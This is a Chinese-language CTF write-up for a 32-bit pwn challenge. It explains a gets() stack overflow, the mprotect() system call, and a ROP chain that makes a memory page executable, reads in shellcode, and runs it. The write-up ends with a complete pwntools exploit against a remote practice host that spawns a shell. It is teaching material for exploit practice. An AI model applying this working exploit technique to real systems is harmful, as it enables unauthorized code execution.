前言:这道题目有一个没见过的姿势,写一篇来记录一下
一、checksec看一下保护
开了栈不可执行保护
二、main函数
发现了gets()函数存在栈溢出
三、get_secret函数
1)分析
我们发现 flag.txt被存在了那个&unk.....里面
然后fgets函数是不能实现栈溢出的,不然可以考虑栈溢出然后用write函数读这块区域
2)这里需要用到我们的新姿势,搜索得到mprotect函数
这里补充一下ida的小操作,我们可以把鼠标放在左侧函数名称列表这里,按ctrl+f可以搜索函数名
3)mprotect()函数说明
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。
函数原型如下:
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可读;
2)PROT_WRITE:表示内存段内的内容可写;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,锁指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:
1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 不是一个有效的指针,指向的不是某个内存页的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。
简而言之就是可以修改栈的执行权限
四、利用思路
ctrl+s查看段表,修改.got.plt(0x080EB000)为可读可写可执行
有人疑问了为什么是0x80EB000而不是bss段的开头0x80EBF80,因为指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
通过ROPgadget查找我们所需要的,因为mprotect需要三个参数,所以我们找有三个pop一个ret的就好啦
这里我们找到的地址是0x0806fcc8
payload =b'a'*0x2d+ p32(mprotect) +p32(pop3_ret)
第一个是栈溢出,注意这里不用覆盖exp
由于编译器或者其他种种原因,不是每个程序都有esp的(虽然大部分都有)
提醒:做题不要直接F5还是应该看看汇编
第二个是mprotect函数的返回地址
第三个是我们找的三个pop的地址
payload+=p32(addr)+p32(0x100) +p32(0x7)
第一个是修改地址
第二个是修改长度
第三个修改为可读可写可执行就把它修改为0x7就好了
payload +=p32(read) +p32(pop3_ret)
第一个将返回地址修改为read函数的返回地址
第二个是三个pop的地址
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
前三个是read函数的参数
第一个是read函数从哪里开始读 这个默认为0就好了
第二个是执行的地方在哪里 用我们修改好的地址
第三个是读的大小 大一点无所谓,主要是够我们写shellcode
最后一位将read函数的返回地址改为修改地址
最后完整wp
from pwn import *
p = remote("node4.buuoj.cn",26430)
elf = ELF('111')
read = elf.symbols['read']
mprotect = 0x0806ED40
addr = 0x080EB000
size1 = 0x7
size2 = 0x100
pop3_ret = 0x0806fcc8
shellcode = asm(shellcraft.sh())
#payload = b'a'*(0x2d)
#payload += p32(mpro_addr)
#payload += p32(target_addr)
payload =b'a'*0x2d+ p32(mprotect) +p32(pop3_ret)
payload+=p32(addr)+p32(0x100) +p32(0x7)
payload +=p32(read) +p32(pop3_ret)
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
这里解答一下为什么需要两个sendline,第二次的输入相当于给read函数输入,因为payload中构造的read函数还没有参数输入